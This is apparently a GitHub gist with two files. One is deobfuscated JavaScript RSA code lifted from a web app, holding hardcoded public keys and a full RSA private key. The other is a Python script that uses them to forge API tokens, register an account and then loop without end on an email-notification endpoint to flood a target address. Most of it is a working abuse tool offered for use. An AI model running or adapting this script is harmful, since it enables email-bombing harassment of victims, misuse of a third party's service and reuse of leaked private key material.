var e = {array: [new _o.asn1.DERInteger({int: 0}), new _o.asn1.DERInteger({bigint: this.n}), new _o.asn1.DERInteger({int: this.e}), new _o.asn1.DERInteger({bigint: this.d}), new _o.asn1.DERInteger({bigint: this.p}), new _o.asn1.DERInteger({bigint: this.q}), new _o.asn1.DERInteger({bigint: this.dmp1}), new _o.asn1.DERInteger({bigint: this.dmq1}), new _o.asn1.DERInteger({bigint: this.coeff})]}; | |
return new _o.asn1.DERSequence(e).getEncodedHex(); | |
}; | |
t.prototype.getPrivateBaseKeyB64 = function () { | |
return Ri(this.getPrivateBaseKey()); | |
}; | |
t.prototype.getPublicBaseKey = function () { | |
var e = new _o.asn1.DERSequence({array: [new _o.asn1.DERObjectIdentifier({oid: "1.2.840.113549.1.1.1"}), new _o.asn1.DERNull]}); | |
var t = new _o.asn1.DERSequence({array: [new _o.asn1.DERInteger({bigint: this.n}), new _o.asn1.DERInteger({int: this.e})]}); | |
var n = new _o.asn1.DERBitString({hex: "00" + t.getEncodedHex()}); | |
return new _o.asn1.DERSequence({array: [e, n]}).getEncodedHex(); | |
}; | |
t.prototype.getPublicBaseKeyB64 = function () { | |
return Ri(this.getPublicBaseKey()); | |
}; | |
t.wordwrap = function (e, t) { | |
if (!e) { | |
return e; | |
} | |
var n = "(.{1," + (t = t || 64) + "})( +|$\n?)|(.{1," + t + "})"; | |
return e.match(RegExp(n, "g")).join("\n"); | |
}; | |
t.prototype.getPrivateKey = function () { | |
var e = "-----BEGIN RSA PRIVATE KEY-----\n"; | |
e += t.wordwrap(this.getPrivateBaseKeyB64()) + "\n"; | |
return e += "-----END RSA PRIVATE KEY-----"; | |
}; | |
t.prototype.getPublicKey = function () { | |
var e = "-----BEGIN PUBLIC KEY-----\n"; | |
e += t.wordwrap(this.getPublicBaseKeyB64()) + "\n"; | |
return e += "-----END PUBLIC KEY-----"; | |
}; | |
t.hasPublicKeyProperty = function (e) { | |
return (e = e || {}).hasOwnProperty("n") && e.hasOwnProperty("e"); | |
}; | |
t.hasPrivateKeyProperty = function (e) { | |
return (e = e || {}).hasOwnProperty("n") && e.hasOwnProperty("e") && e.hasOwnProperty("d") && e.hasOwnProperty("p") && e.hasOwnProperty("q") && e.hasOwnProperty("dmp1") && e.hasOwnProperty("dmq1") && e.hasOwnProperty("coeff"); | |
}; | |
t.prototype.parsePropertiesFrom = function (e) { | |
this.n = e.n; | |
this.e = e.e; | |
if (e.hasOwnProperty("d")) { | |
this.d = e.d; | |
this.p = e.p; | |
this.q = e.q; | |
this.dmp1 = e.dmp1; | |
this.dmq1 = e.dmq1; | |
this.coeff = e.coeff; | |
} | |
}; | |
return t; | |
}(); | |
var Eo = "3.2.1"; | |
var No = function () { | |
function e(e) { | |
if (e === void 0) { | |
e = {}; | |
} | |
e = e || {}; | |
this.default_key_size = e.default_key_size ? parseInt(e.default_key_size, 10) : 1024; | |
this.default_public_exponent = e.default_public_exponent || "010001"; | |
this.log = e.log || false; | |
this.key = null; | |
} | |
e.prototype.setKey = function (e) { | |
if (this.log && this.key) { | |
console.warn("A key was already set, overriding existing."); | |
} | |
this.key = new Po(e); | |
}; | |
e.prototype.setPrivateKey = function (e) { | |
this.setKey(e); | |
}; | |
e.prototype.setPublicKey = function (e) { | |
this.setKey(e); | |
}; | |
e.prototype.decrypt = function (e) { | |
try { | |
return this.getKey().decrypt(Mi(e)); | |
} catch (t) { | |
return false; | |
} | |
}; | |
e.prototype.encrypt = function (e) { | |
try { | |
return Ri(this.getKey().encrypt(e)); | |
} catch (t) { | |
return false; | |
} | |
}; | |
e.prototype.sign = function (e, t, n) { | |
try { | |
return Ri(this.getKey().sign(e, t, n)); | |
} catch (r) { | |
return false; | |
} | |
}; | |
e.prototype.verify = function (e, t, n) { | |
try { | |
return this.getKey().verify(e, Mi(t), n); | |
} catch (r) { | |
return false; | |
} | |
}; | |
e.prototype.getKey = function (e) { | |
if (!this.key) { | |
this.key = new Po; | |
if (e && {}.toString.call(e) === "[object Function]") { | |
this.key.generateAsync(this.default_key_size, this.default_public_exponent, e); | |
return; | |
} | |
this.key.generate(this.default_key_size, this.default_public_exponent); | |
} | |
return this.key; | |
}; | |
e.prototype.getPrivateKey = function () { | |
return this.getKey().getPrivateKey(); | |
}; | |
e.prototype.getPrivateKeyB64 = function () { | |
return this.getKey().getPrivateBaseKeyB64(); | |
}; | |
e.prototype.getPublicKey = function () { | |
return this.getKey().getPublicKey(); | |
}; | |
e.prototype.getPublicKeyB64 = function () { | |
return this.getKey().getPublicBaseKeyB64(); | |
}; | |
e.version = Eo; | |
return e; | |
}(); | |
var Io = No; | |
"".concat("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA694eAn46NfC90StLZ5hu7iX37g4KD1WL6D8oUdAeF8n0ExfbdcM9inz/+6+mCuXm+FmdNEy4StrKzi6eXsXiPUdd7u7nkctIF3esaPa0FU2WjgtXRmiZvTtfnd78NVT+fQEHM/X2XjJC8QkPTCLSfAL6wnA1ikpVpxzPCAxDihO4cdF6t3K9jRKz8EdSTeZsDaVDK2buxkVkzbyCHUHWzJy8buGtTbtMJvMxi0v821d/IhaDyePzcLIpwaHJMRJ2JO0atYhnz4xg5M6vT3tMGqfqP0vx6j+uZwTiFwhBzMqPLDTM1aLHUiWP1s49xbZcTV6I4povmUM7NtxFMU1O1wIDAQAB"); | |
"".concat("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjSG6IbbZAkJZXScA/oZgHwgFFEwJkgYCSjkUCUc+iBEg4nP7pxZmJvpjyV5RCT0onLr4+Bkep6Khi9VG0+T+1A6Yc9wUFFyAoC6uNFxyhsQpFO3V2xDyPdusJDTg1XzzqKOqFfQu0vsL8h4E7UDIiwH/sUSMvGeLkxVaPu7MZy/MP0rJjNKGJ44ounChbiPRBWNqUhKtap2QRq/N+UYYbi3yqIpls9vZSnd4MZkl181U5A0LCsdjtDVqWdKM9VKWCmYxMTFL9raCYB2Fby6PPx0GYRWIGUe0K55LUv61JGMgrRKEZHqjJMq3ck5UymzPk/WUPF4sDSPKeMJH8ay+bQIDAQAB"); | |
function Oo(e) { | |
var t = new Io; | |
var n = "\n -----BEGIN PUBLIC KEY-----\n ".concat("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA694eAn46NfC90StLZ5hu7iX37g4KD1WL6D8oUdAeF8n0ExfbdcM9inz/+6+mCuXm+FmdNEy4StrKzi6eXsXiPUdd7u7nkctIF3esaPa0FU2WjgtXRmiZvTtfnd78NVT+fQEHM/X2XjJC8QkPTCLSfAL6wnA1ikpVpxzPCAxDihO4cdF6t3K9jRKz8EdSTeZsDaVDK2buxkVkzbyCHUHWzJy8buGtTbtMJvMxi0v821d/IhaDyePzcLIpwaHJMRJ2JO0atYhnz4xg5M6vT3tMGqfqP0vx6j+uZwTiFwhBzMqPLDTM1aLHUiWP1s49xbZcTV6I4povmUM7NtxFMU1O1wIDAQAB", "\n -----END PUBLIC KEY-----"); | |
t.setPublicKey(n); | |
return t.encrypt(e); | |
} | |
function To(e) { | |
var t = new Io; | |
var n = "\n -----BEGIN PUBLIC KEY-----\n ".concat("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjSG6IbbZAkJZXScA/oZgHwgFFEwJkgYCSjkUCUc+iBEg4nP7pxZmJvpjyV5RCT0onLr4+Bkep6Khi9VG0+T+1A6Yc9wUFFyAoC6uNFxyhsQpFO3V2xDyPdusJDTg1XzzqKOqFfQu0vsL8h4E7UDIiwH/sUSMvGeLkxVaPu7MZy/MP0rJjNKGJ44ounChbiPRBWNqUhKtap2QRq/N+UYYbi3yqIpls9vZSnd4MZkl181U5A0LCsdjtDVqWdKM9VKWCmYxMTFL9raCYB2Fby6PPx0GYRWIGUe0K55LUv61JGMgrRKEZHqjJMq3ck5UymzPk/WUPF4sDSPKeMJH8ay+bQIDAQAB", "\n -----END PUBLIC KEY-----"); | |
t.setPublicKey(n); | |
return t.encrypt(e); | |
} | |
function Lo(e) { | |
var t = new Io; | |
var n = "\n -----BEGIN RSA PRIVATE KEY-----\n ".concat("MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCNIbohttkCQlldJwD+hmAfCAUUTAmSBgJKORQJRz6IESDic/unFmYm+mPJXlEJPSicuvj4GR6noqGL1UbT5P7UDphz3BQUXICgLq40XHKGxCkU7dXbEPI926wkNODVfPOoo6oV9C7S+wvyHgTtQMiLAf+xRIy8Z4uTFVo+7sxnL8w/SsmM0oYnjii6cKFuI9EFY2pSEq1qnZBGr835RhhuLfKoimWz29lKd3gxmSXXzVTkDQsKx2O0NWpZ0oz1UpYKZjExMUv2toJgHYVvLo8/HQZhFYgZR7QrnktS/rUkYyCtEoRkeqMkyrdyTlTKbM+T9ZQ8XiwNI8p4wkfxrL5tAgMBAAECggEAKJfE06Gl9VJkJbjsPkkkKIjD/TyJnCiCTBryumB1ielzTe8SONLmetuWC/tGz6N5pOraZXHEMW9Di9bCUnwRF6lDDEAGvnyEuo3yqTjV8BFHx69IzYOoSUZ/0sIq0PzpkF3StBHRzflLTE56GEuD4wemJbSTzjTyHlIL7QH+ZMcbWHK1B3v1rpsbN/PAS8uy33+mjvYCIkwTVXGKogmJFWtYyii7FJHybOhCyB//zMWyq4qBPnttvT9z15t1RpRLqOVNqbpCc8dHWfZIoVsk+bHIWiNEbv88gfkuUsYQMBXtvPS8rxGJH0gNbWN8a/7bwZ95yAz0nwTJRp4fF0VCQQKBgQDB+O/XQrMa9b2dLUookXDaFiUcYiyRYccI1iyhizi11wTUc0OAnA8JtwdmDjmH5KSiboXNd3lKIwXz1y9IxtlS+WyA7Lnx5u2TPkm9pCBj7pV28bEEK87xqpp/rzWngWm+K0cjzyyKSS88r86j/KgsXzN3RY99Bb5HXVK9oQsQyQKBgQC6Qx9OZIK02Ycu+DV9PcaDErybJlm/5cTu58Sa9P1mFNUajEhfONCZmATQKCuoUK8S+a6BfmGgTsI0DuI3JLOFUy7IQ7Ts1/GiYhjYSQjsJuhIaHi3SXklkuQ6u3Ajvoqz7RO9wDe9h1zVtH+AyevA/v0CDZz+4ovHdFE7Tz3WhQKBgAg6YxIihi5yliSAs1CdOshFgDWABJv2Jdc+Ho6LtVAhWtcYPJjMBedHmEy/9bjJ/iHVxl883ixC6BG74wmXRci7Q9sEL68POKyyS7Z7q9QRXs242uVuZkziC8O2zvPYDYA/nbjrJNyI1jQg0QcrxIZ9U1WP4dJP2A526veYSTvhAoGAOkV7itPpDFktcKVYXpkv/JulA8jotR9WEAPUP0I78G6+CLMwhRHKOPMVNmYK2np7ey0/yeVW94cMPKsXXHcP7rsKXL7J4HribpHQAgI/V1oIu3ZrpbPHwdiFrFYtjBE1ZXra/TcgeRvbEESKyyjgp51eXAEUR61qW3jpXOu6hd0CgYANdeLHRmRxl653FXUtzRvxlK3Av8XRmeYHyohsURT5XQfDxIHRxWvAqKrwEEVU5rrHUq1fp1kTYGYOeRUTH+zlfcVrEqZi1nrmscGqm9pSac9DVWs8PxCN02e/CDpS5PietzQDoDjw1HJGX8VXxOGHgMovD32pxJjX4pjLDFr57A==", "\n -----END RSA PRIVATE KEY-----"); | |
t.setPrivateKey(n); | |
return t.decrypt(e); | |
} | |
var args = process.argv[2]; | |
var garbage = process.argv[3]; | |
switch (args) { | |
case "Lo": | |
console.log(Lo(garbage)); | |
break; | |
case "Oo": | |
console.log(Oo(garbage)); | |
break; | |
case "To": | |
console.log(To(garbage)); | |
default: | |
break; | |
} | |
/* | |
if (process.argv.length < 3) { | |
console.log("Usage: node test.js <prompt>"); | |
process.exit(1); | |
} | |
const rl = readline.createInterface({ | |
input: process.stdin, | |
output: process.stdout, | |
prompt: `${args}> `, | |
}); | |
rl.prompt(); | |
rl.on("line", function(input) { | |
switch (args) { | |
case "Oo": | |
console.log(Oo(input)); | |
break; | |
case "To": | |
console.log(To(input)); | |
break; | |
case "Lo": | |
console.log(Lo(input)); | |
break; | |
default: | |
break; | |
} | |
rl.prompt(); | |
}); | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, sys, json | |
from subprocess import check_output | |
from pwn import log | |
# crypto stuff | |
def getOo(data): | |
return check_output(f"node crypto.js Oo {data}", shell=True).decode().strip() | |
def getLo(data): | |
return check_output(f"node crypto.js Lo {data}", shell=True).decode().strip() | |
# Authorization Bearer <token> | |
def createToken(email): | |
target = "https://x.x.id/mes/api/v1/xxxxx/xxxxxxxxxx" | |
data = {"email":f"{getOo(email)}","applicationName":"XXXXXXXX"} | |
token = getOo(getLo(json.loads(requests.post(target, json=data).text)['responseData'][0]['token'])) | |
return token | |
# json object elements | |
def visitorAdd(email): | |
token = createToken(email) | |
target = "https://xx.xxxxxxxxxxxxxxxx.id/mes/api/v1/user/xxxxxxx/add" | |
headers = { | |
"Authorization": f"Bearer {token}", | |
"Content-Type": "application/json", | |
} | |
data = { | |
"identity": { | |
"email": f"{getOo(email)}", | |
"mobileNo": f"{getOo('xxxxxxxxxxxxxxxxxxx')}" | |
}, | |
"metadata": { | |
"fullName": "sharpicx", | |
"password": f"{getOo('P@ssw0rd1')}", | |
"confirmPassword": f"{getOo('P@ssw0rd1')}", | |
"agreeTnC": True | |
} | |
} | |
response = json.loads(requests.post(target, json=data, headers=headers).text)['responseDesc'] | |
try: | |
if response == "Error Data already exists": | |
log.warn("the email given is already registered!") | |
elif response == "Error Invalid User": | |
log.info("have ur email registered yet?") | |
else: | |
log.success(f"Registered Success: {email}") | |
except Exception as e: | |
log.error(f"Error: {e}") | |
# start to flood the email! | |
def notifySend(email): | |
token = createToken(email) | |
target = "https://xxxxxx.xxxxxxxxxxxx.xxxxx/mes/api/v1/xxxxxxxxxxxxxxx/email" | |
headers = { | |
"Authorization": f"Bearer {token}", | |
"Content-Type": "application/json", | |
} | |
action = 1 | |
while True: | |
data = { | |
"toAddress": f"{getOo(email)}", | |
"urlEncoded": "https://sharpicx.eu.org", | |
"action": action | |
} | |
response = json.loads(requests.post(target, json=data, headers=headers).text)['responseDesc'] | |
try: | |
if response == "General Error": | |
log.warn(f"round {action}") | |
action += 1 | |
elif response == "Error Invalid User": | |
log.warn("something error with your account") | |
elif response == "Deserialize Error": | |
log.info("something error with the deserialization") | |
else: | |
log.info(f"{response}") | |
except Exception as e: | |
log.info(f"Error: {e}") | |
if __name__ == "__main__": | |
if len(sys.argv) != 2: | |
log.info(f"usage: python {sys.argv[0]} <email>") | |
sys.exit(1) | |
email = sys.argv[1] | |
visitorAdd(email) | |
notifySend(email) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment